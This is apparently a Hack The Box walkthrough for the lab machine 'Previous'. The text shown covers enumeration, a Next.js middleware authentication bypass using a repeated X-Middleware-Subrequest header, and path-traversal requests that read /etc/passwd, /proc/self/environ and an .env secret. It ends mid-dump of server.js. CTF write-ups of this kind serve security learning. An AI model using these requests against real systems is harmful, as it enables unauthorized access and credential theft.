TheLeopard65
Published on

Hack-The-Box - Medium - Linux - Previous

AUTHORS
  • avatar
    NAME
    Yasir Mehmood
    TWITTER
Hack-The-Box Era Machine - Banner

The initial phase of this machine revolved around exploiting CVE-2025-29927, an authentication bypass vulnerability in Next.js. By supplying a crafted HTTP header (X-Middleware-Subrequest: middleware), it was possible to circumvent authentication controls.

Once access was gained, the application become vulnerable to a Local File Inclusion (LFI) flaw. This could be leveraged to explore the containerized environment and extract sensitive credentials—specifically a username and password—from the [...nextauth].js file, provided an initial foothold on the system.

After retrieving the user.txt flag, privilege escalation to root was achieved by exploiting a misconfiguration in assigned capabilities involving sudo and Terraform. By using malicious example files alongside a modified configuration, arbitrary commands could be executed with root privileges, ultimately granting access to the root.txt flag.

Machine NamePlatformIP-AddressDifficultyMachine Domain
PreviousLinux10.10.11.83Mediumprevious.htb

Enumeration

  • I started out by performing an initial Nmap scan and got the following results:
┌--(kali@kali)-[~/HTB/Previous]
└-$ sudo nmap -p- 10.10.11.83 --min-rate 10000
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-23 21:02 CEST
Nmap scan report for 10.10.11.83
Host is up (0.020s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  SSH
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 6.90 seconds
  • On port 80/TCP, I figured out a redirect to previous.htb and added it to the /etc/hosts file.
┌--(kali@kali)-[~/HTB/Previous]
└-$ sudo nmap -sC -sV -p 22,80 10.10.11.83
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-23 21:02 CEST
Nmap scan report for 10.10.11.83
Host is up (0.014s latency).

PORT   STATE SERVICE VERSION
22/tcp open  SSH     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| SSH-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://previous.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.32 seconds
┌--(kali@kali)-[~/HTB/Previous]
└-$ tail -n 1 /etc/hosts
10.10.11.83  previous.htb
  • While investigating the website, I took a look at the tech stack and spotted Next.js in the headers.
┌--(kali@kali)-[~/HTB/Previous]
└-$ whatweb http://previous.htb/
http://previous.htb/ [200 OK] Country[RESERVED][ZZ], Email[jeremy@previous.htb], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.83], Script[application/json], X-Powered-By[Next.js], nginx[1.18.0]
  • The page offered very few options for me to do anything on it.
Hack-The-Box Previous Machine - Previous.htb website preview

Directory Busting

  • I performed directory busting resulting in a lot of redirects for the /api endpoint.
┌--(kali@kali)-[~/HTB/Previous]
└-$ dirsearch -u http://previous.htb/

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/reports/http_previous.htb/__25-08-23_21-05-50.txt

Target: http://previous.htb/

[21:05:50] Starting:
[21:06:08] 307 -   39B  - /api-doc  ->  /api/auth/signin?callbackUrl=%2Fapi-doc
[21:06:08] 307 -   35B  - /api  ->  /api/auth/signin?callbackUrl=%2Fapi
[21:06:08] 307 -   40B  - /api-docs  ->  /api/auth/signin?callbackUrl=%2Fapi-docs
[21:06:08] 307 -   60B  - /api/2/issue/createmeta  ->  /api/auth/signin?callbackUrl=%2Fapi%2F2%2Fissue%2Fcreatemeta
[21:06:08] 307 -   41B  - /api/api  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fapi
[21:06:08] 307 -   39B  - /api.log  ->  /api/auth/signin?callbackUrl=%2Fapi.log
[21:06:08] 307 -   38B  - /api.py  ->  /api/auth/signin?callbackUrl=%2Fapi.py
[21:06:08] 307 -   45B  - /api/apidocs  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fapidocs
[21:06:08] 307 -   39B  - /api.php  ->  /api/auth/signin?callbackUrl=%2Fapi.php
[21:06:08] 307 -   52B  - /api/cask/graphql  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fcask%2Fgraphql
[21:06:08] 307 -   46B  - /api/api-docs  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fapi-docs
[21:06:08] 307 -   54B  - /api/application.wadl  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fapplication.wadl
[21:06:08] 307 -   60B  - /api/apidocs/swagger.json  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fapidocs%2Fswagger.json
[21:06:08] 307 -   47B  - /api/error_log  ->  /api/auth/signin?callbackUrl=%2Fapi%2Ferror_log
[21:06:08] 307 -   48B  - /api/index.html  ->  /api/auth/signin?callbackUrl=%2Fapi%2Findex.html
[21:06:08] 307 -   44B  - /api/jsonws  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fjsonws
[21:06:08] 307 -   42B  - /api/docs  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fdocs
[21:06:08] 307 -   43B  - /api/batch  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fbatch
[21:06:08] 307 -   44B  - /api/config  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fconfig
[21:06:08] 307 -   48B  - /api/login.json  ->  /api/auth/signin?callbackUrl=%2Fapi%2Flogin.json
[21:06:08] 307 -   53B  - /api/jsonws/invoke  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fjsonws%2Finvoke
[21:06:08] 307 -   73B  - /api/package_search/v4/documentation  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fpackage_search%2Fv4%2Fdocumentation
[21:06:08] 307 -   53B  - /api/swagger-ui.html  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fswagger-ui.html
[21:06:08] 307 -   58B  - /api/swagger/ui/index  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fswagger%2Fui%2Findex
[21:06:08] 307 -   50B  - /api/swagger.yaml  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fswagger.yaml
[21:06:08] 307 -   67B  - /api/swagger/static/index.html  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fswagger%2Fstatic%2Findex.html
[21:06:08] 307 -   49B  - /api/swagger.yml  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fswagger.yml
[21:06:08] 307 -   43B  - /api/proxy  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fproxy
[21:06:08] 307 -   50B  - /api/swagger.json  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fswagger.json
[21:06:08] 307 -   57B  - /api/spec/swagger.json  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fspec%2Fswagger.json
[21:06:08] 307 -   55B  - /api/swagger/swagger  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fswagger%2Fswagger
[21:06:08] 307 -   58B  - /api/swagger/index.html  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fswagger%2Findex.html
[21:06:08] 307 -   45B  - /api/profile  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fprofile
[21:06:08] 307 -   45B  - /api/swagger  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fswagger
[21:06:08] 307 -   47B  - /api/snapshots  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fsnapshots
[21:06:08] 307 -   40B  - /api/v1  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fv1
[21:06:08] 307 -   55B  - /api/v1/swagger.json  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fv1%2Fswagger.json
[21:06:08] 307 -   52B  - /api/timelion/run  ->  /api/auth/signin?callbackUrl=%2Fapi%2Ftimelion%2Frun
[21:06:08] 307 -   55B  - /api/v2/swagger.yaml  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fv2%2Fswagger.yaml
[21:06:08] 307 -   55B  - /api/v2/swagger.json  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fv2%2Fswagger.json
[21:06:08] 307 -   62B  - /api/v2/helpdesk/discover  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fv2%2Fhelpdesk%2Fdiscover
[21:06:08] 307 -   55B  - /api/v1/swagger.yaml  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fv1%2Fswagger.yaml
[21:06:08] 307 -   40B  - /api/v2  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fv2
[21:06:08] 307 -   57B  - /apiserver-aggregator.cert  ->  /api/auth/signin?callbackUrl=%2Fapiserver-aggregator.cert
[21:06:08] 307 -   52B  - /apiserver-client.crt  ->  /api/auth/signin?callbackUrl=%2Fapiserver-client.crt
[21:06:08] 307 -   45B  - /api/version  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fversion
[21:06:08] 307 -   39B  - /apidocs  ->  /api/auth/signin?callbackUrl=%2Fapidocs
[21:06:08] 307 -   40B  - /api/v3  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fv3
[21:06:08] 307 -   56B  - /apiserver-aggregator.key  ->  /api/auth/signin?callbackUrl=%2Fapiserver-aggregator.key
[21:06:08] 307 -   60B  - /apiserver-aggregator-ca.cert  ->  /api/auth/signin?callbackUrl=%2Fapiserver-aggregator-ca.cert
[21:06:08] 307 -   38B  - /apidoc  ->  /api/auth/signin?callbackUrl=%2Fapidoc
[21:06:08] 307 -   44B  - /api/whoami  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fwhoami
[21:06:08] 307 -   74B  - /api/vendor/phpunit/phpunit/phpunit  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fvendor%2Fphpunit%2Fphpunit%2Fphpunit
[21:06:08] 307 -   36B  - /apis  ->  /api/auth/signin?callbackUrl=%2Fapis
[21:06:08] 307 -   40B  - /api/v4  ->  /api/auth/signin?callbackUrl=%2Fapi%2Fv4
[21:06:08] 307 -   49B  - /apiserver-key.pem  ->  /api/auth/signin?callbackUrl=%2Fapiserver-key.pem
[21:06:08] 307 -   44B  - /apibuild.pyc  ->  /api/auth/signin?callbackUrl=%2Fapibuild.pyc
[21:06:10] 308 -   19B  - /axis//happyaxis.jsp  ->  /axis/happyaxis.jsp
[21:06:10] 308 -   24B  - /axis2-web//HappyAxis.jsp  ->  /axis2-web/HappyAxis.jsp
[21:06:10] 308 -   30B  - /axis2//axis2-web/HappyAxis.jsp  ->  /axis2/axis2-web/HappyAxis.jsp
[21:06:13] 308 -   52B  - /Citrix//AccessPlatform/auth/clientscripts/cookies.js  ->  /Citrix/AccessPlatform/auth/clientscripts/cookies.js
[21:06:17] 307 -   36B  - /docs  ->  /api/auth/signin?callbackUrl=%2Fdocs
[21:06:17] 307 -   41B  - /docs.json  ->  /api/auth/signin?callbackUrl=%2Fdocs.json
[21:06:17] 307 -   52B  - /docs/changelog.txt  ->  /api/auth/signin?callbackUrl=%2Fdocs%2Fchangelog.txt
[21:06:17] 307 -   53B  - /docs/CHANGELOG.html  ->  /api/auth/signin?callbackUrl=%2Fdocs%2FCHANGELOG.html
[21:06:17] 307 -   54B  - /docs/export-demo.xml  ->  /api/auth/signin?callbackUrl=%2Fdocs%2Fexport-demo.xml
[21:06:17] 307 -   63B  - /docs/html/admin/ch01.html  ->  /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Fadmin%2Fch01.html
[21:06:17] 307 -   64B  - /docs/html/admin/index.html  ->  /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Fadmin%2Findex.html
[21:06:17] 307 -   66B  - /docs/html/admin/ch01s04.html  ->  /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Fadmin%2Fch01s04.html
[21:06:17] 307 -   70B  - /docs/html/developer/ch03s15.html  ->  /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Fdeveloper%2Fch03s15.html
[21:06:17] 307 -   66B  - /docs/html/admin/ch03s07.html  ->  /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Fadmin%2Fch03s07.html
[21:06:17] 307 -   67B  - /docs/html/developer/ch02.html  ->  /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Fdeveloper%2Fch02.html
[21:06:17] 307 -   51B  - /docs/swagger.json  ->  /api/auth/signin?callbackUrl=%2Fdocs%2Fswagger.json
[21:06:17] 307 -   51B  - /docs/updating.txt  ->  /api/auth/signin?callbackUrl=%2Fdocs%2Fupdating.txt
[21:06:17] 307 -   38B  - /docs51  ->  /api/auth/signin?callbackUrl=%2Fdocs51
[21:06:17] 307 -   56B  - /docs/html/index.html  ->  /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Findex.html
[21:06:17] 307 -   54B  - /docs/maintenance.txt  ->  /api/auth/signin?callbackUrl=%2Fdocs%2Fmaintenance.txt
[21:06:18] 308 -   39B  - /engine/classes/swfupload//swfupload.swf  ->  /engine/classes/swfupload/swfupload.swf
[21:06:18] 308 -   42B  - /engine/classes/swfupload//swfupload_f9.swf  ->  /engine/classes/swfupload/swfupload_f9.swf
[21:06:19] 308 -   27B  - /extjs/resources//charts.swf  ->  /extjs/resources/charts.swf
[21:06:21] 308 -   37B  - /html/js/misc/swfupload//swfupload.swf  ->  /html/js/misc/swfupload/swfupload.swf
[21:06:36] 200 -    3KB - /signin

Task Completed
  • On /signin endpoint, got greeted by a login page to a closed beta program.
Hack-The-Box Previous Machine - Previous.htb Sign-In page
  • I intercepted a random login attempt using Burp Suite to take a closer look at the actual HTTP request.
  • The callbackUrl parameter was trying to access /docs on port 3000/TCP locally.
GET /api/auth/providers HTTP/1.1
Host: previous.htb
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Referer: http://previous.htb/signin?callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fdocs
Accept-Encoding: gzip, deflate, br
Cookie: next-auth.csrf-token=bd1ade39e7ce4e9385f13999b9323d1b22f0701fd6eb7e1ec16a64cbbc2a1169%7C627b366c1c4ae2c22cd7843884dcd8691cd103886c7b8ae1f3f60477fc0e68e4; next-auth.callback-url=http%3A%2F%2Flocalhost%3A3000%2Fdocs
If-None-Match: "qsia4r7in25u"
Connection: keep-alive
  • Here is the response received back on the request.
HTTP/1.1 304 Not Modified
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 23 Aug 2025 19:10:39 GMT
Content-Type: application/json
Connection: keep-alive
ETag: "qsia4r7in25u"
Vary: Accept-Encoding
  • I also spotted a username on the Contact button of the main page.
<a href="[mailto:jeremy@previous.htb](mailto:jeremy@previous.htb)" class="text-gray-500 hover:text-gray-900">Contact</a>

Initial Access


  • Here is the payload:
X-Middleware-Subrequest: middleware
  • Here is the Request:
GET /api/auth/signin HTTP/1.1
Host: previous.htb
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Referer: http://previous.htb/signin?callbackUrl=http%3A%2F%2F10%2e10%2e16%2e36%3A3000%2Fdocs
Accept-Encoding: gzip, deflate, br
Cookie: next-auth.csrf-token=bd1ade39e7ce4e9385f13999b9323d1b22f0701fd6eb7e1ec16a64cbbc2a1169%7C627b366c1c4ae2c22cd7843884dcd8691cd103886c7b8ae1f3f60477fc0e68e4; next-auth.callback-url=http%3A%2F%2Flocalhost%3A3000%2Fdocs
X-Middleware-Subrequest: middleware
If-None-Match: "qsia4r7in25u"
Connection: keep-alive
  • Here is the Response:
HTTP/1.1 302 Found
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 23 Aug 2025 19:16:10 GMT
Connection: keep-alive
Location: /signin?callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fdocs
Content-Length: 0

  • Here is the second Request
GET /api/auth/session HTTP/1.1
Host: previous.htb
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Referer: http://previous.htb/signin?callbackUrl=http%3A%2F%2F10%2e10%2e16%2e36%3A3000%2Fdocs
Accept-Encoding: gzip, deflate, br
Cookie: next-auth.csrf-token=bd1ade39e7ce4e9385f13999b9323d1b22f0701fd6eb7e1ec16a64cbbc2a1169%7C627b366c1c4ae2c22cd7843884dcd8691cd103886c7b8ae1f3f60477fc0e68e4; next-auth.callback-url=http%3A%2F%2Flocalhost%3A3000%2Fdocs
X-Middleware-Subrequest: middleware
If-None-Match: "qsia4r7in25u"
Connection: keep-alive
  • Here is the Response:
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 23 Aug 2025 19:17:26 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 2
Connection: keep-alive
ETag: "bwc9mymkdm2"
Vary: Accept-Encoding

{}

  • Here is the Payload:
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
  • And this time it actually worked on /docs granting access to dashboard even though there was basically no info.
  • I now had a working payload as shown below codeblock:
GET /docs HTTP/1.1
Host: previous.htb
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Referer: http://previous.htb/signin?callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fdocs
Accept-Encoding: gzip, deflate, br
Cookie: next-auth.csrf-token=bd1ade39e7ce4e9385f13999b9323d1b22f0701fd6eb7e1ec16a64cbbc2a1169%7C627b366c1c4ae2c22cd7843884dcd8691cd103886c7b8ae1f3f60477fc0e68e4; next-auth.callback-url=http%3A%2F%2Flocalhost%3A3000%2Fdocs
x-middleware-subrequest:middleware:middleware:middleware:middleware:middleware
If-None-Match: "qsia4r7in25u"
Connection: keep-alive
Hack-The-Box Previous Machine - Performing Authenication bypass via CVE-2025-29927 for Next.js

Local File Inclusion (LFI)

  • With access to WEB Application, I tried different endpoints like /api/download.
  • I tried to render the response within Burp Suite.
GET /api/download HTTP/1.1
Host: previous.htb
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Referer: http://previous.htb/signin?callbackUrl=http%3A%2F%2F10%2e10%2e16%2e36%3A3000%2Fdocs
Accept-Encoding: gzip, deflate, br
Cookie: next-auth.csrf-token=bd1ade39e7ce4e9385f13999b9323d1b22f0701fd6eb7e1ec16a64cbbc2a1169%7C627b366c1c4ae2c22cd7843884dcd8691cd103886c7b8ae1f3f60477fc0e68e4; next-auth.callback-url=http%3A%2F%2Flocalhost%3A3000%2Fdocs
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
If-None-Match: "qsia4r7in25u"
Connection: keep-alive
  • The /api/download endpoint responded with a very useful error message saying that it expected a valid filename.
HTTP/1.1 400 Bad Request
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 23 Aug 2025 19:35:08 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 28
Connection: keep-alive
ETag: "vpkl9mnjvgs"
Vary: Accept-Encoding

{"error":"Invalid filename"}
  • I then tried to directly access /etc/passwd which did not work.
  • Then I slowly moved up the directories by adding ../ to the GET request until I got a hit.
GET /api/download?example=../../../../../etc/passwd HTTP/1.1
Host: previous.htb
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Referer: http://previous.htb/signin?callbackUrl=http%3A%2F%2F10%2e10%2e16%2e36%3A3000%2Fdocs
Accept-Encoding: gzip, deflate, br
Cookie: next-auth.csrf-token=bd1ade39e7ce4e9385f13999b9323d1b22f0701fd6eb7e1ec16a64cbbc2a1169%7C627b366c1c4ae2c22cd7843884dcd8691cd103886c7b8ae1f3f60477fc0e68e4; next-auth.callback-url=http%3A%2F%2Flocalhost%3A3000%2Fdocs
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
If-None-Match: "qsia4r7in25u"
Connection: keep-alive
  • Here is a Response that confirmed the presence of an LFI vulnerability.
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 23 Aug 2025 19:26:44 GMT
Content-Type: application/zip
Content-Length: 787
Connection: keep-alive
Content-Disposition: attachment; filename=../../../../../etc/passwd
ETag: "41amqg1v4m26j"

root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000::/home/node:/bin/sh
nextjs:x:1001:65533::/home/nextjs:/sbin/nologin
  • The content of /etc/passwd disclosed another username (node) which led me to assume that the application was containerized.
  • I then slowly progressed through each of the low-hanging fruits like /proc/self/environ to understand the application.
GET /api/download?example=../../../../../proc/self/environ HTTP/1.1
Host: previous.htb
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Referer: http://previous.htb/signin?callbackUrl=http%3A%2F%2F10%2e10%2e16%2e36%3A3000%2Fdocs
Accept-Encoding: gzip, deflate, br
Cookie: next-auth.csrf-token=bd1ade39e7ce4e9385f13999b9323d1b22f0701fd6eb7e1ec16a64cbbc2a1169%7C627b366c1c4ae2c22cd7843884dcd8691cd103886c7b8ae1f3f60477fc0e68e4; next-auth.callback-url=http%3A%2F%2Flocalhost%3A3000%2Fdocs
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
If-None-Match: "qsia4r7in25u"
Connection: keep-alive
  • The actual response showed the working directory which was /app and the environment of production.
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 23 Aug 2025 19:40:52 GMT
Content-Type: application/zip
Content-Length: 216
Connection: keep-alive
Content-Disposition: attachment; filename=../../../../../proc/self/environ
ETag: "151dqoq1n56jy"

NODE_VERSION=18.20.8 HOSTNAME=0.0.0.0 YARN_VERSION=1.22.22 SHLVL=1 PORT=3000 HOME=/home/nextjs PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin NEXT_TELEMETRY_DISABLED=1 PWD=/app NODE_ENV=production
  • Then I went for the /proc/self/cmdline to see if I could get a bit more out of it but that was not the case.
GET /api/download?example=../../../../../proc/self/cmdline HTTP/1.1
Host: previous.htb
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Referer: http://previous.htb/signin?callbackUrl=http%3A%2F%2F10%2e10%2e16%2e36%3A3000%2Fdocs
Accept-Encoding: gzip, deflate, br
Cookie: next-auth.csrf-token=bd1ade39e7ce4e9385f13999b9323d1b22f0701fd6eb7e1ec16a64cbbc2a1169%7C627b366c1c4ae2c22cd7843884dcd8691cd103886c7b8ae1f3f60477fc0e68e4; next-auth.callback-url=http%3A%2F%2Flocalhost%3A3000%2Fdocs
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
If-None-Match: "qsia4r7in25u"
Connection: keep-alive
  • Here is the blocked Response
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 23 Aug 2025 19:42:04 GMT
Content-Type: application/zip
Content-Length: 15
Connection: keep-alive
Content-Disposition: attachment; filename=../../../../../proc/self/cmdline
ETag: "kbthnbes5729"

next-server (v
  • With the information for the environment values, I targeted .env inside /app.
  • To do so, I slowly moved up again by adding ../ until hitting /app and the .env file.
GET /api/download?example=../../../app/.env HTTP/1.1
Host: previous.htb
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Referer: http://previous.htb/signin?callbackUrl=http%3A%2F%2F10%2e10%2e16%2e36%3A3000%2Fdocs
Accept-Encoding: gzip, deflate, br
Cookie: next-auth.csrf-token=bd1ade39e7ce4e9385f13999b9323d1b22f0701fd6eb7e1ec16a64cbbc2a1169%7C627b366c1c4ae2c22cd7843884dcd8691cd103886c7b8ae1f3f60477fc0e68e4; next-auth.callback-url=http%3A%2F%2Flocalhost%3A3000%2Fdocs
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
If-None-Match: "qsia4r7in25u"
Connection: keep-alive
  • Unfortunately it only contained the NEXTAUTH_SECRET which I assumed based on the authentication bypass.
  • This led me to an empty page once more. However, I figured out that I might be able to forge a cookie out of it.
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 23 Aug 2025 19:43:43 GMT
Content-Type: application/zip
Content-Length: 49
Connection: keep-alive
Content-Disposition: attachment; filename=../../../app/.env
ETag: "14ro7p5qyfd4v"

NEXTAUTH_SECRET=82a464f1c3509a81d5c973c31a23c61a
  • Now I knew the path for the /app directory and tried default Next.js files like server.js.
GET /api/download?example=../../../app/server.js HTTP/1.1
Host: previous.htb
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Referer: http://previous.htb/signin?callbackUrl=http%3A%2F%2F10%2e10%2e16%2e36%3A3000%2Fdocs
Accept-Encoding: gzip, deflate, br
Cookie: next-auth.csrf-token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsIm5hbWUiOiJBZG1pbmlzdHJhdG9yIiwiaWF0IjoxNzU1OTc4Mzk3LCJleHAiOjE3NTU5ODE5OTd9.clE3kgymdfxvgie2n1uSKCctcG281oHwMbQReY9Nc1I; next-auth.callback-url=http%3A%2F%2Flocalhost%3A3000%2Fdocs
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
If-None-Match: "qsia4r7in25u"
Connection: keep-alive
  • And that resulted in a lot of useful information about the instance itself.
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 23 Aug 2025 20:18:51 GMT
Content-Type: application/zip
Content-Length: 6009
Connection: keep-alive
Content-Disposition: attachment; filename=../../../app/server.js
ETag: "48xgv9zfn0go1"

const path = require('path')

const dir = path.join(__dirname)

process.env.NODE_ENV = 'production'
process.chdir(__dirname)

const currentPort = parseInt(process.env.PORT, 10) || 3000
const hostname = process.env.HOSTNAME || '0.0.0.0'

let keepAliveTimeout = parseInt(process.env.KEEP_ALIVE_TIMEOUT, 10)
const nextConfig = {"env":{},"eslint":{"ignoreDuringBuilds":false},"typescript":{"ignoreBuildErrors":false,"tsconfigPath":"tsconfig.json"},"distDir":"./.next","cleanDistDir":true,"assetPrefix":"","cacheMaxMemorySize":52428800,"configOrigin":"next.config.mjs","useFileSystemPublicRoutes":true,"generateEtags":true,"pageExtensions":["js","jsx","md","mdx","ts","tsx"],"poweredByHeader":true,"compress":true,"images":{"deviceSizes":[640,750,828,1080,1200,1920,2048,3840],"imageSizes":[16,32,48,64,96,128,256,384],"path":"/_next/image","loader":"default","loaderFile":"","domains":[],"disableStaticImages":false,"minimumCacheTTL":60,"formats":["image/webp"],"dangerouslyAllowSVG":false,"contentSecurityPolicy":"script-src 'none'; frame-src 'none'; sandbox;","contentDispositionType":"attachment","remotePatterns":[],"unoptimized":false},"devIndicators":{"position":"bottom-left"},"onDemandEntries":{"maxInactiveAge":60000,"pagesBufferLength":5},"amp":{"canonicalBase":""},"basePath":"","sassOptions":{},"trailingSlash":false,"i18n":null,"productionBrowserSourceMaps":false,"excludeDefaultMomentLocales":true,"serverRuntimeConfig":{},"publicRuntimeConfig":{},"reactProductionProfiling":false,"reactStrictMode":null,"reactMaxHeadersLength":6000,"httpAgentOptions":{"keepAlive":true},"logging":{},"expireTime":31536000,"staticPageGenerationTimeout":60,"output":"standalone","modularizeImports":{"@mui/icons-material":{"transform":"@mui/icons-material/{{member}}"},"lodash":{"transform":"lodash/{{member}}"}},"outputFileTracingRoot":"/app","experimental":{"allowedDevOrigins":[],"nodeMiddleware":false,"cacheLife":{"default":{"stale":300,"revalidate":900,"expire":4294967294},"seconds":{"stale":0,"revalidate":1,"expire":60},"minutes":{